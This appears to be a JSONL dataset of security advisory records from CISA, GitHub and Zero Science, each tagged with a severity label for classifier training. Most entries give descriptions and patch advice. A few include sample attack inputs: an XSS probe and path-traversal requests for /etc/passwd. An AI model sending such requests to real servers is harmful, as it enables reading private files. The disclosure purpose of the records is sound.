-{"id": "1e40b83c77a4484cab73", "text": "Apple iOS WebKit Buffer Overflow Vulnerability\n\nAffected: Apple iOS\n\nApple iOS WebKit contains a buffer-overflow vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS WebKit Buffer Overflow Vulnerability\n\nAffected: Apple iOS\n\nApple iOS WebKit contains a buffer-overflow vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "246fff261311d8346103", "text": "ManageEngine Firewall Analyzer 8.5 SP-5.0 Multiple XSS Vulnerabilities", "text_raw": "ManageEngine Firewall Analyzer 8.5 SP-5.0 Multiple XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-02-23", "split": "train"}
-{"id": "87a40141692b59a12dec", "text": "Cross-Site Scripting in jingo\n\nVersions of `jingo` prior to 1.9.2 are vulnerable to Cross-Site Scripting (XSS). If malicious input such as `<script>alert(1)</script>` is placed in the content of a wiki page, Jingo does not properly encode the input and it is executed instead of rendered as text.\n\n## Recommendation\n\nUpgrade to version 1.9.2", "text_raw": "Cross-Site Scripting in jingo\n\n[Severity: HIGH]\n\nVersions of `jingo` prior to 1.9.2 are vulnerable to Cross-Site Scripting (XSS). If malicious input such as `<script>alert(1)</script>` is placed in the content of a wiki page, Jingo does not properly encode the input and it is executed instead of rendered as text.\n\n\n## Recommendation\n\nUpgrade to version 1.9.2", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3bb2387720c5a7c2888c", "text": "Microsoft Windows Privilege Common Log File System (CLFS) Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Common Log File System (CLFS) driver improperly handles objects in memory which can allow for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Privilege Common Log File System (CLFS) Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Common Log File System (CLFS) driver improperly handles objects in memory which can allow for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ec7f55e44c7e9c897a62", "text": "Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability\n\nAffected: Citrix Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance\n\nCitrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an information disclosure vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability\n\nAffected: Citrix Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance\n\nCitrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an information disclosure vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b469385e3c4e9532b7f6", "text": "Malicious Package in buffeb-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffeb-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ff49efcd136b18582061", "text": "Wowza Streaming Engine 4.5.0 Multiple Cross-Site Scripting Vulnerabilities", "text_raw": "Wowza Streaming Engine 4.5.0 Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-07-19", "split": "train"}
-{"id": "899ee67ba40d9a9e5965", "text": "rest-client allows local users to obtain sensitive information by reading the log\n\nREST client for Ruby (aka rest-client) before 1.7.3 logs usernames and passwords, which allows local users to obtain sensitive information by reading the log.", "text_raw": "rest-client allows local users to obtain sensitive information by reading the log\n\n[Severity: LOW]\n\nREST client for Ruby (aka rest-client) before 1.7.3 logs usernames and passwords, which allows local users to obtain sensitive information by reading the log.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "e1e6f0aa24c4d9c7cbe8", "text": "Path Traversal in zero\n\nVersions of `zero` prior to 1.0.6 are vulnerable to Path Traversal.  Due to insufficient input sanitization in URLs, attackers can access server files by using relative paths when fetching files.\n\n## Recommendation\n\nUpgrade to version 1.0.6 or later.", "text_raw": "Path Traversal in zero\n\n[Severity: HIGH]\n\nVersions of `zero` prior to 1.0.6 are vulnerable to Path Traversal.  Due to insufficient input sanitization in URLs, attackers can access server files by using relative paths when fetching files. \n\n\n## Recommendation\n\nUpgrade to version 1.0.6 or later.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ee6b93dc7802130da683", "text": "OpenSSL gem for Ruby using inadequate encryption strength\n\nThe OpenSSL gem for Ruby uses the same initialization vector (IV) in GCM Mode (aes-*-gcm) when the IV is set before the key, which makes it easier for context-dependent attackers to bypass the encryption protection mechanism.", "text_raw": "OpenSSL gem for Ruby using inadequate encryption strength\n\n[Severity: HIGH]\n\nThe OpenSSL gem for Ruby uses the same initialization vector (IV) in GCM Mode (aes-*-gcm) when the IV is set before the key, which makes it easier for context-dependent attackers to bypass the encryption protection mechanism.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "a5690d325b6efd1f3487", "text": "Withdrawn: ESLint dependencies are vulnerable (ReDoS and Prototype Pollution)\n\n**Withdrawn**\nGitHub has withdrawn this advisory in place of GHSA-vh95-rmgr-6w4m and GHSA-6chw-6frg-f759.\nThe reason for withdrawing is that some mistakes were made during the ingestion of CVE-2020-7598\nwhich caused this advisory to be published with incorrect information.\n\nIn order to provide accurate advisory information, new advisories were created:\n\n- minimist: https://github.com/advisories/GHSA-vh95-rmgr-6w4m\n- acorn: https://github.com/advisories/GHSA-6chw-6frg-f759", "text_raw": "Withdrawn: ESLint dependencies are vulnerable (ReDoS and Prototype Pollution)\n\n[Severity: MEDIUM]\n\n**Withdrawn**\nGitHub has withdrawn this advisory in place of GHSA-vh95-rmgr-6w4m and GHSA-6chw-6frg-f759.\nThe reason for withdrawing is that some mistakes were made during the ingestion of CVE-2020-7598\nwhich caused this advisory to be published with incorrect information.\n\nIn order to provide accurate advisory information, new advisories were created:\n\n- minimist: https://github.com/advisories/GHSA-vh95-rmgr-6w4m\n- acorn: https://github.com/advisories/GHSA-6chw-6frg-f759", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-13", "split": "train"}
-{"id": "443175c6b81eaa51cdb2", "text": "In Bouncy Castle JCE Provider the other party DH public key is not fully validated\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the other party DH public key is not fully validated. This can cause issues as invalid keys can be used to reveal details about the other party's private key where static Diffie-Hellman is in use. As of release 1.56 the key parameters are checked on agreement calculation.", "text_raw": "In Bouncy Castle JCE Provider the other party DH public key is not fully validated\n\n[Severity: LOW]\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the other party DH public key is not fully validated. This can cause issues as invalid keys can be used to reveal details about the other party's private key where static Diffie-Hellman is in use. As of release 1.56 the key parameters are checked on agreement calculation.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "3a43c9653d1645bffb9b", "text": "Path Traversal in 626\n\nAll versions of `626` are vulnerable to path traversal. This enables a remote attacker to read arbitrary files from the remote server using this module.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability.\nIt is our recommendation to not install or use this module at this time.", "text_raw": "Path Traversal in 626\n\n[Severity: HIGH]\n\nAll versions of `626` are vulnerable to path traversal. This enables a remote attacker to read arbitrary files from the remote server using this module.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability.\nIt is our recommendation to not install or use this module at this time.\n ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d12c29a3d4d61831d376", "text": "Server-Side Request Forgery in snipe/snipe-it\n\nAdmin users on the external network can perform blind POST-based SSRF (issue requests on behalf of the server into the internal network) via the Slack Integration. This vulnerability is capable of port-scanning of the internal network, issue POST requests to web servers on the internal network which can be escalated to higher-impact.", "text_raw": "Server-Side Request Forgery in snipe/snipe-it\n\n[Severity: HIGH]\n\nAdmin users on the external network can perform blind POST-based SSRF (issue requests on behalf of the server into the internal network) via the Slack Integration. This vulnerability is capable of port-scanning of the internal network, issue POST requests to web servers on the internal network which can be escalated to higher-impact.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "86e79d13c0557d1b46fe", "text": "Data races in v9\n\nAffected versions of this crate unconditionally implement `Sync` for `SyncRef<T>`. This definition allows data races if `&T` is accessible through `&SyncRef`.\n\n`SyncRef<T>` derives `Clone` and `Debug`, and the default implementations of those traits access `&T` by invoking `T::clone()` & `T::fmt()`. It is possible to create data races & undefined behavior by concurrently invoking `SyncRef<T>::clone()` or `SyncRef<T>::fmt()` from multiple threads with `T: !Sync`.", "text_raw": "Data races in v9\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implement `Sync` for `SyncRef<T>`. This definition allows data races if `&T` is accessible through `&SyncRef`.\n\n`SyncRef<T>` derives `Clone` and `Debug`, and the default implementations of those traits access `&T` by invoking `T::clone()` & `T::fmt()`. It is possible to create data races & undefined behavior by concurrently invoking `SyncRef<T>::clone()` or `SyncRef<T>::fmt()` from multiple threads with `T: !Sync`.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "539f264e39dc12a8800f", "text": "Cross site scripting via HTML attributes in the back end\n\n### Impact\n\nIt is possible for untrusted users to inject malicious code into HTML attributes in the back end, which will be executed both in the element preview (back end) and on the website (front end).\n\nInstallations are only affected if there are untrusted back end users who have the rights to modify HTML fields (e.g. TinyMCE).\n\n### Patches\n\nUpdate to Contao 4.4.56, 4.9.18 or 4.11.7\n\n### Workarounds\n\nDisable all fields that allow HTML for untrusted back end users or disable the login for these users.\n\n### References\n\nhttps://contao.org/en/security-advisories/cross-site-scripting-via-html-attributes-in-the-back-end\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).\n\n### Credits\n\nThanks to Mikhail Khramenkov and Moritz Vondano for reporting this security issue.", "text_raw": "Cross site scripting via HTML attributes in the back end\n\n[Severity: MEDIUM]\n\n### Impact\n\nIt is possible for untrusted users to inject malicious code into HTML attributes in the back end, which will be executed both in the element preview (back end) and on the website (front end).\n\nInstallations are only affected if there are untrusted back end users who have the rights to modify HTML fields (e.g. TinyMCE).\n\n### Patches\n\nUpdate to Contao 4.4.56, 4.9.18 or 4.11.7\n\n### Workarounds\n\nDisable all fields that allow HTML for untrusted back end users or disable the login for these users.\n\n### References\n\nhttps://contao.org/en/security-advisories/cross-site-scripting-via-html-attributes-in-the-back-end\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).\n\n### Credits\n\nThanks to Mikhail Khramenkov and Moritz Vondano for reporting this security issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9fc64811be7d4c9d0728", "text": "Directory Traversal in censorify.tanisjr\n\nAffected versions of `censorify.tanisjr` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in censorify.tanisjr\n\n[Severity: HIGH]\n\nAffected versions of `censorify.tanisjr` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "01c48e6cfe8711c4508f", "text": "Directory Traversal in peiserver\n\nAffected versions of `peiserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in peiserver\n\n[Severity: HIGH]\n\nAffected versions of `peiserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "8f1ab57e670d9f8fae53", "text": "Sounder Contains Arbitrary Command Execution Vulnerability\n\nlib/sounder/sound.rb in the sounder gem 1.0.1 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a filename.", "text_raw": "Sounder Contains Arbitrary Command Execution Vulnerability\n\n[Severity: HIGH]\n\nlib/sounder/sound.rb in the sounder gem 1.0.1 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a filename.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "3b824e5966a259623bae", "text": "Microsoft Defender Remote Code Execution Vulnerability\n\nAffected: Microsoft Defender\n\nMicrosoft Defender contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122, CWE-1285\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Defender Remote Code Execution Vulnerability\n\nAffected: Microsoft Defender\n\nMicrosoft Defender contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-122, CWE-1285\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3a4048032bd672ad71d2", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Wicket\n\nBy crafting a special URL it is possible to make Wicket deliver unprocessed HTML templates. This would allow an attacker to see possibly sensitive information inside a HTML template that is usually removed during rendering. Affected are Apache Wicket versions 7.16.0, 8.8.0 and 9.0.0-M5", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Wicket\n\n[Severity: HIGH]\n\nBy crafting a special URL it is possible to make Wicket deliver unprocessed HTML templates. This would allow an attacker to see possibly sensitive information inside a HTML template that is usually removed during rendering. Affected are Apache Wicket versions 7.16.0, 8.8.0 and 9.0.0-M5", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "448962ef2c6c685b6c31", "text": "Serviio PRO 1.8 DLNA Media Streaming Server REST API Information Disclosure", "text_raw": "Serviio PRO 1.8 DLNA Media Streaming Server REST API Information Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-05-03", "split": "train"}
-{"id": "17879d447b6a007f89ab", "text": "Server-Side Request Forgery in Hawt Hawtio\n\nHawt Hawtio through 2.5.0 is vulnerable to SSRF, allowing a remote attacker to trigger an HTTP request from an affected server to an arbitrary host via the initial /proxy/ substring of a URI.", "text_raw": "Server-Side Request Forgery in Hawt Hawtio\n\n[Severity: CRITICAL]\n\nHawt Hawtio through 2.5.0 is vulnerable to SSRF, allowing a remote attacker to trigger an HTTP request from an affected server to an arbitrary host via the initial /proxy/ substring of a URI.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "6f8912e6f5871c6d0711", "text": "personnummer/python vulnerable to Improper Input Validation\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.\n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1\n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "text_raw": "personnummer/python vulnerable to Improper Input Validation\n\n[Severity: LOW]\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\nThe vulnerability is determined to be low severity.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.  \n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1  \n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-09", "split": "train"}
-{"id": "3beed0022d4a569cfd40", "text": "Denial of Service in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has a denial of service (memory consumption) issue, as demonstrated by the 10-opencv-dos-memory-exhaust test case.", "text_raw": "Denial of Service in OpenCV\n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has a denial of service (memory consumption) issue, as demonstrated by the 10-opencv-dos-memory-exhaust test case.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "fae3d861811a8ef0f49b", "text": "ReDoS vulnerability in parser_apache2\n\n### Impact\nparser_apache2 plugin in Fluentd v0.14.14 to v1.14.1 suffers from a regular expression denial of service (ReDoS) vulnerability. A broken apache log with a certain pattern of string can spend too much time in a regular expression, resulting in the potential for a DoS attack.\n\n### Patches\nv1.14.2\n\n### Workarounds\nEither of the following:\n\n* Don't use parser_apache2 for parsing logs which cannot guarantee generated by Apache.\n* Put patched version of parser_apache2.rb into /etc/fluent/plugin  directory (or any other directories specified by the environment variable `FLUENT_PLUGIN` or `--plugin` option of fluentd).\n\n### References\n* [CVE-2021-41186](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41186)\n* [GHSA-hwhf-64mh-r662](https://github.com/fluent/fluentd/security/advisories/GHSA-hwhf-64mh-r662)\n* [GHSL-2021-102](https://securitylab.github.com/advisories/GHSL-2021-102-fluent-fluentd/)\n* https://github.com/fluent/fluentd/blob/master/CHANGELOG.md#v1142", "text_raw": "ReDoS vulnerability in parser_apache2\n\n[Severity: MEDIUM]\n\n### Impact\nparser_apache2 plugin in Fluentd v0.14.14 to v1.14.1 suffers from a regular expression denial of service (ReDoS) vulnerability. A broken apache log with a certain pattern of string can spend too much time in a regular expression, resulting in the potential for a DoS attack.\n\n### Patches\nv1.14.2\n\n### Workarounds\nEither of the following:\n\n* Don't use parser_apache2 for parsing logs which cannot guarantee generated by Apache.\n* Put patched version of parser_apache2.rb into /etc/fluent/plugin  directory (or any other directories specified by the environment variable `FLUENT_PLUGIN` or `--plugin` option of fluentd).\n\n### References\n* [CVE-2021-41186](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41186)\n* [GHSA-hwhf-64mh-r662](https://github.com/fluent/fluentd/security/advisories/GHSA-hwhf-64mh-r662)\n* [GHSL-2021-102](https://securitylab.github.com/advisories/GHSL-2021-102-fluent-fluentd/)\n* https://github.com/fluent/fluentd/blob/master/CHANGELOG.md#v1142\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-01", "split": "train"}
-{"id": "fc7d76a58b0c06386969", "text": "Apache CXF Fediz application plugins are vulnerable to Denial of Service (DoS) attacks\n\nApplication plugins in Apache CXF Fediz prior to version 1.1.3 and 1.2.x prior to 1.2.1 allow remote attackers to create a denial of service.", "text_raw": "Apache CXF Fediz application plugins are vulnerable to Denial of Service (DoS) attacks\n\n[Severity: HIGH]\n\nApplication plugins in Apache CXF Fediz prior to version 1.1.3 and 1.2.x prior to 1.2.1 allow remote attackers to create a denial of service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "e6771c46043d65c6a737", "text": "botframework-connector vulnerable to Improper Authentication\n\n### Impact\nA maliciously crafted claim may be incorrectly authenticated by the bot. Impacts bots that are not configured to be used as a Skill. This vulnerability requires an attacker to have internal knowledge of the bot.\n\n### Patches\nThe problem has been patched in all affected versions. Please see the list of patched versions for the most appropriate one for your individual case.\n\n### Workarounds\nUsers who do not wish or are not able to upgrade can add an authentication configuration containing ClaimsValidator, which throws an exception if the Claims are Skill Claims.\n\nFor detailed instructions, see the link in the References section.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Microsoft Bot Builder SDK](https://github.com/microsoft/botbuilder-dotnet)\n* Email us at [bf-reports@microsoft.com](mailto:bf-reports@microsoft.com)", "text_raw": "botframework-connector vulnerable to Improper Authentication\n\n[Severity: MEDIUM]\n\n### Impact\nA maliciously crafted claim may be incorrectly authenticated by the bot. Impacts bots that are not configured to be used as a Skill. This vulnerability requires an attacker to have internal knowledge of the bot.\n\n### Patches\nThe problem has been patched in all affected versions. Please see the list of patched versions for the most appropriate one for your individual case.\n\n### Workarounds\nUsers who do not wish or are not able to upgrade can add an authentication configuration containing ClaimsValidator, which throws an exception if the Claims are Skill Claims.\n\nFor detailed instructions, see the link in the References section.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Microsoft Bot Builder SDK](https://github.com/microsoft/botbuilder-dotnet)\n* Email us at [bf-reports@microsoft.com](mailto:bf-reports@microsoft.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-08", "split": "train"}
-{"id": "ef46c5f95d181f1b84b3", "text": "ember-source Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in Ember.js 1.8.x through 1.10.x, 1.11.x before 1.11.4, 1.12.x before 1.12.2, 1.13.x before 1.13.12, 2.0.x before 2.0.3, 2.1.x before 2.1.2, and 2.2.x before 2.2.1 allows remote attackers to inject arbitrary web script or HTML.", "text_raw": "ember-source Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in Ember.js 1.8.x through 1.10.x, 1.11.x before 1.11.4, 1.12.x before 1.12.2, 1.13.x before 1.13.12, 2.0.x before 2.0.3, 2.1.x before 2.1.2, and 2.2.x before 2.2.1 allows remote attackers to inject arbitrary web script or HTML.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-28", "split": "train"}
-{"id": "39c7e0b31eb8d974db52", "text": "django-helpdesk is vulnerable to Cross-site Scripting\n\ndjango-helpdesk is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "text_raw": "django-helpdesk is vulnerable to Cross-site Scripting\n\n[Severity: HIGH]\n\ndjango-helpdesk is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "bafb014ce9bdcb6074cb", "text": "Authenticated server-side request forgery in file upload via URL.\n\n### Impact\nAuthenticated server-side request forgery in file upload via URL.\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.", "text_raw": "Authenticated server-side request forgery in file upload via URL.\n\n[Severity: HIGH]\n\n### Impact\nAuthenticated server-side request forgery in file upload via URL.\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "b9c671ddaa64b7a8eb31", "text": "Vulnerability in remove function leads to arbitrary code execution via filePath parameters\n\nAaptjs is a node wraper for aapt. An issue was discovered in the remove function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "text_raw": "Vulnerability in remove function leads to arbitrary code execution via filePath parameters\n\n[Severity: CRITICAL]\n\nAaptjs is a node wraper for aapt. An issue was discovered in the remove function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-02", "split": "train"}
